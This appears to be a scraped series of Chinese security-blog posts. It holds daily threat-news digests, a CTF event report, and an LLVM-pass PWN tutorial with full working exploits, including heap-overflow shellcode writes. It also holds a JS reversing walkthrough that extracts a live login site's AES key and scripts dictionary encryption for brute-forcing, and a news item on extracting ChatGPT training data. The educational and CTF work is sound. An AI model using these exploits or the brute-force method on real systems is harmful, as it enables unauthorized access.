网络安全日报 2023年12月06日
1、Rare Wolf组织针对俄罗斯发起网络钓鱼攻击 https://bi.zone/expertise/blog/rare-wolf-okhotitsya-za-privatnymi-dannymi-s-pomoshchyu-falshivykh-nakladnykh-1s-predpriyatie/ 研究人员发现了一个至少自2019年以来一直活跃的Rare Wolf组织针对俄罗斯发起钓鱼网络攻击。攻击者使用网络钓鱼电子邮件在目标设备上安装合法的跟踪工具Mipko Employee Monitor,窃取机密文档和密码,并获得对Telegram Messenger的访问权限。攻击者继续使用军民两用软件和合法工具来实施有针对性的攻击。这通常使它们 2、Storm-0216组织使用Danabot银行木马部署勒索软件 https://twitter.com/MsftSecIntel/status/1730383711437283757 俄罗斯勒索软件攻击者Storm-0216(又名 Twisted Spider,UNC2198)正在使用高级银行木马Danabot来部署Cactus勒索软件。Danabot银行木马通过恶意广告进行传播。当前的Danabot活动于11月首次观察到,推测使用的是信息窃取恶意软件的私人版本,而不是恶意软件即服务产品。Danabot收集发送给命令和控制的用户凭据和其他信息,然后通过RDP登录尝试进行横向移动,最终发送给Storm-0216组织。 3、美国卫生部敦促医院修补高危Citrix Bleed漏洞 https://www.aha.org/system/files/media/file/2023/12/202311301200_Citrix-Bleed-Vulnerability-Sector-Alert-TLPCLEAR.pdf 美国卫生与公众服务部本周警告医院修补Netscaler攻击中经常利用的关键Citrix Bleed漏洞。勒索软件组织已经在使用Citrix Bleed(追踪为 CVE-2023-4966)通过规避登录要求和多因素身份验证保护来破坏目标网络。安全团队卫生部门网络安全协调中心周四发布了部门警报,敦促所有美国医疗机构确保易受攻击的NetScaler ADC和NetS 4、未修补的 Loytec 楼宇自动化漏洞在发现两年后被披露 https://www.securityweek.com/unpatched-loytec-building-automation-flaws-disclosed-2-years-after-discovery/ 工业网络安全公司 TXOne Networks 披露了其研究人员两年多前在奥地利公司 Loytec 生产的楼宇自动化产品中发现的 10 个未修补漏洞的详细信息。 5、基因检测公司23andMe证实黑客窃取了数百万用户的数据 https://www.securityweek.com/23andme-says-hackers-saw-data-from-millions-of-users/ 23andMe 周二证实,黑客使用窃取的密码访问了该公司 690 万名会员的个人信息。 6、谷歌修复了 Android 中关键的零点击 RCE漏洞 https://securityaffairs.com/155232/mobile-2/google-android-critical-zero-click-rce.html Google 通过发布 2023 年 12 月 Android 安全更新修复了一个严重的零点击 RCE 漏洞 (CVE-2023-40088)。Google 2023 年 12 月 Android 安全更新解决了 85 个漏洞 7、GitHub 上 15,000 个 Go 模块仓库容易遭受 Repojacking 攻击 https://thehackernews.com/2023/12/15000-go-module-repositories-on-github.html 新研究发现 GitHub 上超过 15,000 个 Go 模块存储库容易受到名为 repojacking 的攻击。Repojacking是“存储库”和“劫持”的组合,是一种攻击技术,允许不良行为者利用帐户用户名更改和删除来创建具有相同名称和预先存在的用户名的存储库来上演开源软件供应链攻击。 8、会计软件巨头 Tipalti 调查勒索软件攻击事件 https://www.cybersecuritydive.com/news/tipalti-investigates-ransomware-supply-chain-attack/701516/ ALHV称获得了对多个 Tipalti 系统的持续访问权限,并窃取了超过 265GB 的数据,并声称有内部人员参与了这些攻击。 9、恶意广告攻击依靠 DanaBot 木马传播 CACTUS 勒索软件 https://securityaffairs.com/155184/cyber-crime/danabot-spread-cactus-ransomware.html 微软警告称,持续存在利用 DanaBot 恶意软件部署 CACTUS 勒索软件的恶意广告攻击。 10、俄罗斯黑客利用 Outlook 漏洞劫持 Exchange 账户 https://www.freebuf.com/news/385687.html 微软威胁情报团队近期发布警告称,疑似具有俄罗斯国家背景的网络攻击组织 APT28(又名 "Fancybear "或 "Strontium")正在积极利用 CVE-2023-23397 Outlook 漏洞,劫持微软 Exchange 账户并窃取敏感信息。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
PWN学习之LLVM入门
一、基本流程 ①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位: ②通过逆向,找到函数名及参数,编写基本exp ③找到漏洞,写利用exp.c,其中的pwn的目标是opt文件,查看保护和找gadget都在opt中找 ④生成.ll文件 ⑤将.ll文件输入到LLVM中 二、命令 用下面的命令可以生成.ll文件准备输入到LLVM中: clang -emit-llvm -S exp.c -o exp.ll 最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加>[文件名]来获取: opt -load ./LLVMFirst.so -hello ./exp.ll 三、例题 1.202Redhat simpleVM ①重写函数 ②逆向,编写基本exp 函数名为o0o0o0o0则继续执行sub_6AC0 循环遍历每一个基本块 这里也是一个循环遍历,其中指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令,即函数o0o0o0o0中的代码都要是函数调用。 getCalledFunction获取函数本身,然后获取函数名赋值给s1 getNumOperands返回一条指令中的变量个数,包括函数名和参数,pop为2,即参数数量为1 这里可以看到pop函数的参数是1,2,分别对应两个寄存器,pop操作就是弹栈操作,并且栈是从低到高生长 push的参数也是一个,1或2,模拟压栈操作 store参数1个,1或2,将reg1存的地址指向的地方赋值为reg2中的值 load参数1个,1或2,将reg2赋值为reg1中的地址指向的值 add参数2个,第一个是1或2,第2个是加的数,使寄存器中的值加上某一个值 min参数2个,第一个是1或2,第2个是减的数,使寄存器中的值减去某一个值 得到基本exp void o0o0o0o0(); void pop(int reg){}; void push(int reg){}; void store(int reg){}; void load(int reg){}; void add(int reg,int num){}; void min(int reg,int num){}; void o0o0o0o0(){ }; ③找到漏洞,写攻击exp store(1),将reg1存的地址指向的地方赋值为reg2中的值,这里就有任意地址写。 load(1),将reg2赋值为reg1中的地址指向的值,可以把libc写进去。 add和min可以对reg里的值进行加减,相当于任意修改 查看一下opt的保护 没有开pie 所以,攻击思路如下 reg初始值都为0,首先将reg1通过add函数改为free函数的got表,再通过load函数将reg1中的地址指向的值赋值给reg2,再通过add或者min函数将reg2中的地址修改为one_gadget的地址,再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表 add(1,free.got) load(1) add(2,ogg - free) store(1) gdb调试 gdb opt-8 set args -load ./VMPass.so -VMPass ./exp.ll b main b *0x4bb7e3 b *(0x7f11c1a00000+0x73EE) tele 0x7f11c1a00000+0x20E580 调试到这里,.so已经加载好了 下断点调试即可 调试可以看到成功修改free@got为one_gadget,但是三个都打不通,libc不同 2.CISCN2021 satool PASS注册名称为SAPass 函数名B4ckDo0r save函数,两个参数,char类型,申请一个0x20的堆块,把两个参数分别放入堆块中 stealkey函数,没有参数,把堆块中的第一个8字节赋值给byte_204100 fakekey函数,1个参数,与byte_204100相加并赋值给chunk的前8字节 run函数,没有参数,将chunk的前八字节作为函数指针调动 基本exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ } 这里可以看到,save会malloc一个0x20大小的chunk,调试发现,save一次后,tcache中没有符合要求的chunk了,再save一次,就会变成smallbins,这时候chunk中会有残留的libc指针,再通过stealkey把指针赋值给byte_204100,再用fakekey对指针进行偏移的加减,改为one_gadget,执行run函数,即可 完整exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ save("aaaa","bbbb"); save("","b"); stealkey(); fakekey(-0x1090f2); run(); } 3.CISCN2023 llvmHELLO PASS注册名称为Hello Add函数,一个参数,申请一个堆块 Del函数,一个参数,free一个堆块,没有uaf edit(idx,data_idx,data),edit函数,3个参数,向第idx个chunk的第data_idx个四字节写入4字节 Alloc函数,没有参数,将0x10000设置为可读可写可执行 EditAlloc函数,2个参数,EditAlloc(idx,idx_alloc),把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处 基本exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ } 在edit中,存在堆溢出,可利用edit修改tcache bin中chunk的fd,进行tcachebinattack,执行一次Alloc,申请0x10000开始的0x1000的空间,写入shellcode,由于没有开启PIE,用tcachebinattack改free的got表为0x10000,然后执行Del函数,执行shellcode拿到shell 最终exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ Add(0xa0); Add(0x78); //0x8203 Edit(1,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(2,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(3,0,0xdeadbeef); // 0x8602 Del(1); Del(3); //0x83e4 Edit(2,32,0x78b108); // Alloc();//0x8690 Edit(0,0,0x56f63148); // 0x8602 EditAlloc(0,0); Edit(0,0,0x622fbf48); // 0x8602 EditAlloc(0,4); Edit(0,0,0x2f2f6e69); // 0x8602 EditAlloc(0,8); Edit(0,0,0x54576873); // 0x8602 EditAlloc(0,12); Edit(0,0,0x583b6a5f); // 0x8602 EditAlloc(0,16); Edit(0,0,0x00050f99); // 0x8602 EditAlloc(0,20); Add(0x78); Add(0x78); Edit(3,0,0x10000); Edit(3,1,0); Del(1); }
网络安全日报 2023年12月05日
1、研究人员披露针对俄罗斯的Decoy Dog恶意软件 https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat/ 研究人员发现某电力公司受到Decoy Dog木马的攻击。至少自2022年9月起,Decoy Dog就一直被积极用于针对俄罗斯公司和政府组织的网络攻击。研究人员在受害者主机上发现的样本是木马的新修改,攻击者对其进行了修改,使其更难以检测和分析。研究人员将该样本归因到Hellhounds APT组织,该组织仅针对位于俄罗斯发起网络攻击。 2、AeroBlade组织针对美国航空航天工业发起网络攻击 https://blogs.blackberry.com/en/2023/11/aeroblade-on-the-hunt-targeting-us-aerospace-industry 研究人员发现一个新组织AeroBlade,其目标是美国的一家航空航天组织,其明显目标是进行商业和竞争性网络间谍活动。攻击者使用鱼叉式网络钓鱼作为交付机制:以电子邮件附件形式发送的武器化文档,包含嵌入式远程模板注入技术和恶意VBA宏代码,以交付下一阶段的最终有效负载执行。攻击者的网络基础设施和武器化在2022年9月左右投入运行。研究人员评估,攻击的进攻阶段发生在2023年7月。攻击者在此期间改进了其工具集,使 3、基因检测公司23andMe承认客户数据遭遇泄露 https://techcrunch.com/2023/12/01/23andme-says-hackers-accessed-significant-number-of-files-about-users-ancestry/ 基因检测公司23andMe周五宣布,在该公司最近的数据泄露事件中,黑客访问了大约14000个客户账户。该公司在周五向美国证券交易委员会提交的一份新文件中表示,根据对该事件的调查,该公司已确定黑客侵入了其0.1%的客户群。根据该公司最新的年度收益报告,23andMe在全球拥有超过1400万客户,这意味着0.1%约为14000名。但该公司还表示,通过访问这些帐户,黑客还能 4、新的 P2PInfect 僵尸网络 MIPS 变体瞄准路由器和物联网设备 https://thehackernews.com/2023/12/new-p2pinfect-botnet-mips-variant.html 网络安全研究人员发现了一种名为P2PInfect的新兴僵尸网络的新变种,它能够针对路由器和物联网设备。 5、LogoFAIL:UEFI 漏洞使设备遭受隐形恶意软件攻击 https://thehackernews.com/2023/12/logofail-uefi-vulnerabilities-expose.html 人们发现,来自各个独立固件/BIOS 供应商 (IBV)的统一可扩展固件接口 ( UEFI ) 代码很容易受到嵌入到固件中的图像解析库中的高影响力缺陷的潜在攻击。这些缺陷被 Binarly 统称为LogoFAIL,“可以被威胁行为者用来传递恶意负载并绕过安全启动、Intel Boot Guard 和其他设计安全技术。” 6、BlackCat 勒索软件攻击胡志明市电力公司 https://thecyberexpress.com/vietnam-electricity-data-breach/ BlackCat 勒索软件组织持续发起的疯狂攻击不仅限于越南电力公司,Roblox 和 Twitch 等社交媒体平台也可能成为下一个目标。 7、占星网站 WeMystic 暴露了超过 1300 万条用户记录 https://securityaffairs.com/155102/security/wemystic-website-data-leak.html 由于开放且无密码的 MongoDB 数据库,占星术和精神内容平台 WeMystic 暴露了其用户的敏感数据,包括姓名、电子邮件地址和出生日期。 8、国准《信息安全技术 政务计算机终端核心配置规范》征求意见稿发布 https://www.freebuf.com/news/385605.html 2023年12月4日,全国信安标委发布国家标准《信息安全技术 政务计算机终端核心配置规范》征求意见稿。起草单位包括神州网信技术有限公司、国家信息中心、阿里云计算有限公司、电子政务云应用国家实验室、中国软件评测中心、北京天融信网络安全技术有限公司等。 9、法国禁止政府要员使用外国聊天应用 https://www.freebuf.com/news/385573.html 据BleepingComputer消息,法国总理伊丽莎白·博尔内近期签署了一份备忘录,要求所有政府公务人员在 2023 年 12 月 8 日之前卸载 Signal、WhatsApp 和 Telegram 等外国通讯软件,使用本国开发的替代产品“Olvid”。 10、客户请谨慎使用,微软 MVP 示警 Copilot 商业化存 3 大风险 https://www.ithome.com/0/736/559.htm 微软 MVP Loryan Strant 近日发布专栏文章,建议企业客户不要太相信 Copilot 提供相关信息。这主要是因为三方面的原因,其一是当前部署力度还不够,其二是存在幻觉问题;第三就是可能泄露用户的个人信息。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年12月04日
1、研究人员披露Lazarus组织已窃取价值30亿美元加密货币 https://go.recordedfuture.com/hubfs/reports/cta-2023-1130.pdf 至少自2017年以来,来自朝鲜的Lazarus组织越来越多地将加密货币行业作为主要创收机制,以规避对该国实施的制裁。据估计,该国的攻击者在过去六年中窃取了价值30亿美元的加密资产,仅2022年就被盗了约17亿美元。这些被盗资产大部分被用来直接资助隐士王国的大规模杀伤性武器(WMD)和弹道导弹计划。朝鲜黑客以擅长利用社交工程技巧来针对在线加密货币交易所的员工,然后以利润丰厚的工作承诺来引诱受害者分发允许远程访问公司网络的恶意软件,最终使他们耗尽所有可用资产并将它们转移到朝 2、Cactus勒索软件利用Qlik Sense漏洞进行网络攻击 https://www.arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/ CACTUS勒索软件活动利用最近披露的名为Qlik Sense的云分析和商业智能平台中的安全漏洞,在目标环境中获得初始访问。这些攻击很可能利用了过去三个月中披露的三个漏洞:CVE-2023-41265(CVSS评分:9.9)HTTP 请求隧道漏洞,允许远程攻击者提升其权限并发送由托管存储库应用程序的后端服务器执行的请求。CVE-2023-41266(CVSS评分:6.5)路径遍历漏洞,允许未经身份验证的远程 3、安卓恶意软件FjordPhantom利用虚拟化来逃避检测 https://promon.co/security-news/fjordphantom-android-malware/ 研究人员发现了一种名为FjordPhantom的新安卓恶意软件,它利用虚拟化在容器中运行恶意代码并逃避检测。该恶意软件目前通过电子邮件、短信和消息应用程序传播,目标是印度尼西亚、泰国、越南、新加坡和马来西亚的银行应用程序。受害者被诱骗下载看似合法的银行应用程序,但其中包含在虚拟环境中运行的恶意代码,以攻击真正的银行应用程序。FjordPhantom旨在窃取在线银行帐户凭据并通过执行设备欺诈来操纵交易。 4、ScamClub组织伪造安全扫描页面进行恶意重定向活动 https://www.malwarebytes.com/blog/threat-intelligence/2023/11/associated-press-espn-cbs-among-top-sites-serving-fake-virus-alerts ScamClub组织自2018年以来一直参与恶意广告活动。受影响的出版商名单包括美联社、ESPN 和 CBS,读者会自动重定向到与恶意McAfee附属机构相关的虚假安全警报。研究人员无法准确识别哪个实体投放了该广告,但已向Cloudflare报告了用于运行虚假扫描仪的网站,Cloudflare立即采取了行动并将其标记为网络钓鱼。 5、攻击者利用多层虚假发票活动部署LUMMA恶意软件 https://perception-point.io/blog/behind-the-attack-lumma-malware/ 研究人员披露攻击者利用多层虚假发票活动来分发LUMMA恶意软件。在此活动中,攻击者冒充金融服务公司并向目标发送包含虚假发票的电子邮件。此次攻击中使用的恶意软件是LUMMA,是一种用C语言编写的信息窃密恶意软件,并通过恶意软件即服务模型进行分发。该恶意软件故意选择父进程和特定进程ID增加了攻击的复杂性,旨在混淆恶意活动。 6、VMware发布Cloud Director身份验证绕过漏洞补丁 https://www.vmware.com/security/advisories/VMSA-2023-0026.html VMware修复了Cloud Director设备部署中的一个严重身份验证绕过漏洞,该漏洞自11月14日披露以来已两周多没有得到修补。Cloud Director是一个VMware平台,使管理员能够将分布在多个位置的数据中心作为虚拟数据中心进行管理。身份验证绕过安全漏洞(CVE-2023-34060)仅影响运行之前从旧版本升级的VCD Appliance 10.5的设备。不过,VMware表示,这不会影响新的VCD Appliance 10.5安装、Linux部署和其 7、数万台开放的Exchange服务器存在漏洞易遭受网络攻击 https://www.bleepingcomputer.com/news/security/over-20-000-vulnerable-microsoft-exchange-servers-exposed-to-attacks/ 欧洲、美国和亚洲的数万台Microsoft Exchange电子邮件服务器容易受到远程代码执行缺陷的影响。邮件系统运行的软件版本目前不受支持,并且不再接收任何类型的更新,容易受到多个安全问题的影响,其中一些问题的严重程度非常严重。目前可通过公共互联网访问的近20000台Microsoft Exchange服务器已达到生命周期结束阶段。 8、新的 AGENT RACCOON 恶意软件针对中东、非洲和美国 https://securityaffairs.com/155137/malware/agent-raccoon-malware.html Unit42 研究人员发现了一个名为 Agent Raccoon 的新后门,该后门正被用于针对中东、非洲和美国组织的攻击。该恶意软件被用于针对多个行业的攻击,包括教育、房地产、零售、非营利组织、电信公司和政府。 9、专家警告针对MACOS 的TURTLE 勒索软件 https://securityaffairs.com/155075/security/turtleransom-macos-ransomware.html 网络安全研究员 Patrick Wardle 发表了对新的 macOS 勒索软件 Turtle 的详细分析。 10、研究人员发现一种简单的攻击技术可以提取 ChatGPT 训练数据 https://www.darkreading.com/cyber-risk/researchers-simple-technique-extract-chatgpt-training-data ChatGPT 一遍又一遍地重复同一个单词是否会导致其重复大量训练数据,包括个人身份信息和从网络上抓取的其他数据?谷歌 DeepMind、康奈尔大学和其他四所大学的一组研究人员测试了广受欢迎的生成式人工智能聊天机器人在以特定方式提示时泄露数据的敏感性,答案是肯定的。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技全力支撑哈工大网络安全国际邀请赛HITCTF2023
11月25日至26日,哈尔滨工业大学网络安全国际邀请赛圆满落幕。来自国内外多个高校知名CTF战队云集,经过24小时的线上比拼后,最终哈尔滨工业大学Lilac战队、东北大学N3X战队、吉林大学SPIRIT战队分别斩获冠军、亚军和季军。来自嘉兴学院、哈尔滨理工大学、中山大学、瑞士苏黎世联邦理工大学、东南大学、东北林业大学、大连理工大学、俄罗斯远东联邦大学的8支战队荣获优胜奖。选手们展示出了卓越的网络安全技能和快速应变能力,呈现了一场精彩绝伦的网络安全大战。 哈尔滨工业大学网络安全国际邀请赛HITCTF2023由哈工大计算学部网络空间安全学院、安天科技集团股份有限公司联合主办,黑龙江高校网络安全技术社团联盟协办,湖南蚁景科技有限公司全程提供竞赛平台技术支持。 张宏莉院长 开幕式致辞 袁永峰副主任 开幕式致辞 开幕式上,哈尔滨工业大学计算学部网络空间安全学院张宏莉院长、计算学部袁永峰副主任等校方领导分别致欢迎词。 HITCTF2023的赛题紧密结合近年来出现的各类安全事件,以分析防御网络安全威胁及威胁猎杀为主要场景,选手们全力以赴,展现了卓越的专业技能创新思维和应对压力的能力。竞赛期间良好的氛围及热络的线上交流,增进了中外参赛队员之间的了解和友谊,比赛结束后,队员纷纷表示收获满满,期待未来能有更多这样既充满激情又富有知识的网络安全赛事。 闭幕式及颁奖仪式上,计算学部网络空间安全学院张宏莉院长做了精彩的总结讲话,冠军获得者哈工大Lilac战队队长刘之鸿同学做了精彩细致的解题分享。 湖南蚁景科技有限公司作为支撑单位,为比赛过程提供了专业可靠的技术支持。其自主研发的竞赛平台,以高效稳定的表现,成功保障了赛前环境部署和测试、赛题测试验证、比赛过程运维等各环节的顺利进行,让参赛者们在比赛中能尽情施展自己的技能。此外,蚁景科技网络安全高级工程师刘俊明担任本次比赛的裁判长,他秉承公平、公正、公开的原则,全心全意履行裁判的职责,确保了比赛的公平公正。 湖南蚁景科技有限公司凭借多年深耕网络安全行业的经验,为CTF赛事提供专业可靠的平台支撑服务。未来,期待能与更多的业内单位、高校开展合作。
网络安全日报 2023年12月01日
1、Arcserve修复其产品中的安全漏洞 https://www.helpnetsecurity.com/2023/11/29/arcserve-udp-vulnerabilities-pocs Arcserve已修复其Unified Data Protection (UDP)中的安全漏洞(CVE-2023-41998、CVE-2023-41999、CVE-2023-42000),这些漏洞的PoCs于周一由研究人员公开披露。CVE-2023-41998是UDP中com.ca.arcflash.rps.webservice.RPSService4CPMImpl接口的漏洞,可能允许未经身份验证的远程攻击者通过接口内的downloadAn 2、研究人员发现新型远控木马Saw RAT https://cyble.com/blog/uncovering-the-new-java-based-saw-rats-infiltration-strategy-via-lnk-files/ 11月22日,研究人员在VirusTotal上发现了一个ZIP压缩文件。经分析发现,ZIP文件包含一个带有Adobe图标的快捷方式文件(.lnk),以执行一种新型基于Java的远控木马,该远控木马隐藏在Java Runtime Environment(JRE)目录中。由于该远控木马使用了名为“saw.chain"的包,研究人员将其命名为Saw RAT。该远控木马与C2服务器建立连接,从而使攻击者向 3、研究人员发现DJvu勒索软件的新变种Xaro https://www.cybereason.com/blog/threat-alert-djvu-variant-delivered-by-loader-masquerading-as-freeware DJvu勒索软件是STOP勒索软件的变种,研究人员近期发现DJvu勒索软件的新变种,并将其命名为Xaro。攻击者利用伪装成提供正常软件的钓鱼网站进行攻击活动,并诱导用户下载执行伪装成正常应用的恶意程序PrivateLoader。PrivateLoader执行后与C2服务器连接,以获取其他的窃密木马,并释放Xaro勒索软件。Xaro会加密感染主机上的文件,并释放勒索信,要求受害者与攻击者联系 4、Apple 修补了iOS 16.7.1版本之前被利用的严重 WebKit 漏洞 苹果公司周四为其旗舰 macOS 和 iOS 平台推出了安全更新,以修复旧系统移动设备上已经被利用的两个严重漏洞。这些在 WebKit 浏览引擎中标记的漏洞可被用来劫持敏感内容或发起任意代码执行攻击。该公司推出了iOS 17.1.2 和 iPadOS 17.1.2,修复了 WebKit 缺陷,并警告称,可以通过恶意网页内容发起漏洞利用。该公司表示:“苹果公司已获悉一份报告,称该问题可能已被针对 iOS 16.7.1 之前的 iOS 版本所利用。” 5、Zyxel 修补了防火墙、NAS设备中的至少 15 个安全漏洞 https://www.securityweek.com/major-security-flaws-in-zyxel-firewalls-access-points-nas-devices/ 中国台湾网络设备供应商 Zyxel 已针对困扰其防火墙、接入点和网络访问存储 (NAS) 设备用户的重大漏洞发布了安全警告。 6、Zoom 中的一个严重漏洞允许攻击者接管会议并窃取敏感数据 https://securityaffairs.com/155011/hacking/critical-zoom-room-bug.html AppOms 的研究人员在HackerOne 实时黑客活动 H1-4420中发现了 Zoom Room 中的一个漏洞。专家们于 2023 年 6 月发现了该漏洞,他们警告说,攻击者可以接管 Zoom Room 的服务帐户并获得对受害者组织租户的访问权限。攻击者还可以无形地访问团队聊天、白板和其他 Zoom 应用程序中的机密信息。该公司及时解决了该问题,并澄清该漏洞对生产租户没有影响。 7、DOCKER HUB 上的应用程序镜像中泄露了数千个密钥或凭据 https://securityaffairs.com/154957/security/secrets-exposed-on-docker-hub.html Docker Hub 存储至少有 5,493 个包含敏感信息的容器镜像,可被视为暴露敏感信息。这占 Cybernews 研究团队分析的 10,178 个 Docker Hub 镜像的 54%。分析后的泄漏容器被广泛使用的平台上的其他用户下载了超过 1320 亿次。 8、Google 推出 RETVec - 用于针对垃圾邮件和恶意电子邮件的新防御措施 https://thehackernews.com/2023/11/google-unveils-retvec-gmails-new.html 谷歌推出了一款名为RETVec(Resilient and Efficient Text Vectorizer 的缩写)的新型多语言文本矢量化器,可帮助检测Gmail 中的潜在有害内容,例如垃圾邮件和恶意电子邮件。 9、GoTitan 僵尸网络利用了最近的 Apache ActiveMQ 漏洞 https://thehackernews.com/2023/11/gotitan-botnet-spotted-exploiting.html 最近披露的影响 Apache ActiveMQ 的重大安全漏洞正被威胁者积极利用,以传播一种名为 GoTitan 的基于 Go 的新型僵尸网络,以及一种名为 PrCtrl Rat 的 .NET 程序,该程序能够远程控制受感染的主机。 10、美国政府秘密协调思科支持乌克兰加强电网网络安全防护 https://www.secrss.com/articles/61166 美媒称,美国政府曾秘密协调思科公司研发新版交换机,并提供给乌克兰国有电力运营商 Ukrenergo,以加强乌克兰电网的网络防护能力。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
对某登录站点的JS前端逆向思路
前言 js逆向一直没有相关了解,虽然目前渗透遇见的不是很多,大多数遇见的要么不加密,要么无法实现其加密流程,不过最近看到了一个较为简单的站点正好能够逆向出来,就做了简单记录。本文旨在介绍js逆向的一些基础思路,希望能对初学js前端逆向的师傅有所帮助。 JS定位 在我们寻找JS源代码时,如果直接翻看全部的js文件以来寻找自己想要的一部分,无疑是复杂繁琐的,且工作量巨大,有点类似大海捞针,因此这里我们需要借助一些巧妙的办法来快速定位某标签的js语句,具体方法如下。 元素审查定位 当我们不确定某处的js文件位置时,可以使用F12,点击元素审查,然后点击登录处,观察事件监听器 此时可以观察到login.js文件出现,接下来就可以去对应文件下继续深入。 发现check函数,寻找check函数 此时发现加密是secret函数,再继续跟secert函数就可以了解其整体流程。 全局搜索法 像我们常见的登录框,他们要提交的加密参数一般名为password,或者加密为Crypto加密,因此我们可以全局搜索此类关键字,进而寻找我们需要找的关键加密js语句,进而实现js逆向。 具体操作也很简单,这里简单举个例子。 首先打开F12,随便点击一个元素,而后ctrl+shift+f,接下来全局搜索关键词即可 此时含关键词的语句映入眼帘,像一些css文件中的直接略过即可,而后即可找到真正生成密码的地方 接下来便可以深入secret,了解加密方法。 Onclick定位 像一些登录点是存在着onclick属性的,如若该属性值是js函数,那么就极有可能是我们要寻找的js加密函数,而后进行寻找相关函数即可。 注:图参考自cony1大师傅。 以cony1大师傅的图为例进行简单讲解 这里发现ssologin函数,接下来寻找该函数 此时即可发现相关js语句。 实战 某登录站点js逆向 找到一个登录站点,随意输入 发现用户名和密码均被加密,接下来ctrl+shift+f,全局搜索password字段,寻找加密点 第一个这里明显是输入框的password,且是注释,肯定不是这里,接着寻找,后来到 整体代码如下        function check() {            //这里将用户名,密码加密            var code = 'letu@levle';            var yname = $("#yname").val();            if (yname == '') {                alert("用户名不能为空");                return false;           } else {                var newName = secret(yname, code, false);                $("#xname").val(newName);           }            var ypassword = $("#ypassword").val();            if (ypassword == '') {                alert("密码不能为空");                return false;           } else {                var newPassword = secret(ypassword, code, false);                $("#xpassword").val(newPassword);           }       } 可以看出js代码逻辑并不难,首先提取出ypassword标签下的内容,而后验证其是否为空,若不为空,则对其进行secret函数处理,很明显,这个secret函数就是加密函数,所以我们接下来跟进此加密函数 这里直接给出了iv和key,所以接下来打断点调试就行了,而后打上断点 接下来开始随便输入密码提交,而后来到调试界面 选中code.substring(16)得到keyf3991777154f4bd0 选中code.substring(0,16)得到偏移量ace43e65106a77f6 下方也给出了Padding和mode分别是Pkcs7和CBC,所以接下来直接解密即可,在网络中我们可以看到提交后加密的账密 拿去随便找个AES解密网站 与所输入的进行比对 成功得到正确结果 接下来编写脚本即可,直接将字典的内容全部进行加密,而后放入burp进行爆破 import base64 from Crypto.Cipher import AES from Crypto.Hash import MD5 from Crypto.Util.Padding import pad #填入AES的key和iv key = 'f3991777154f4bd0' iv = 'ace43e65106a77f6' def AES_Encrypt(data):    global key    global iv    cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))    paddingdata = pad(data.encode('utf-8'),AES.block_size)    encrypted = cipher.encrypt(paddingdata)    #print(base64.b64encode(encrypted).decode())    return base64.b64encode(encrypted).decode() password = [] with open('password.txt','r',encoding='utf-8') as f:    for i in f:        password.append(i.strip()) with open('password_aes.txt','w',encoding='utf-8') as w:    for i in password:        data = AES_Encrypt(i)+'\n'        w.write(data) 数据长度明显与错误时不一致,不过这里也未成功进入后台,有二次验证,Google验证码无从下手,故点到为止。 某道js逆向 接下来进行抓包 这里我们首先注意一下每次不同点在哪,以此为入口点来进行下去,因此我们多次刷新界面抓包,同样的参数观察包的参数哪个值是不同的 从上图可以看出sign和mysticTime是变化的,因此接下来针对这两个变量进行深入,如果我们能够控制这两个变量,那么我们就可以实现直接脚本请求得到翻译对应的语句。 所以接下来首先从sign开始,我们首先进行F12,而后输入ctrl+shift+f全局搜索关键词 这里可以发现出现了js中含有sign关键字的,但像这个inpage.js他明显不是我们要找的js语句,因此继续往下寻找(输入sign:更容易找到对应函数)。这里我们找到如下语句 相关代码如下 const u = "fanyideskweb"             , d = "webfanyi"             , m = "client,mysticTime,product"             , p = "1.0.0"             , g = "web"             , b = "fanyi.web"             , A = 1             , h = 1             , f = 1             , v = "wifi"             , O = 0;            function y(e) {                return c.a.createHash("md5").update(e).digest()           }            function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           }            function k(e, t) {                return j(`client=${u}&mysticTime=${e}&product=${d}&key=${t}`)           }            function E(e, t) {                const o = (new Date).getTime();                return {                    sign: k(o, e),                    client: u,                    product: d,                    appVersion: p,                    vendor: g,                    pointParam: m,                    mysticTime: o,                    keyfrom: b,                    mid: A,                    screen: h,                    model: f,                    network: v,                    abtest: O,                    yduuid: t || "abcdefg"               }           } 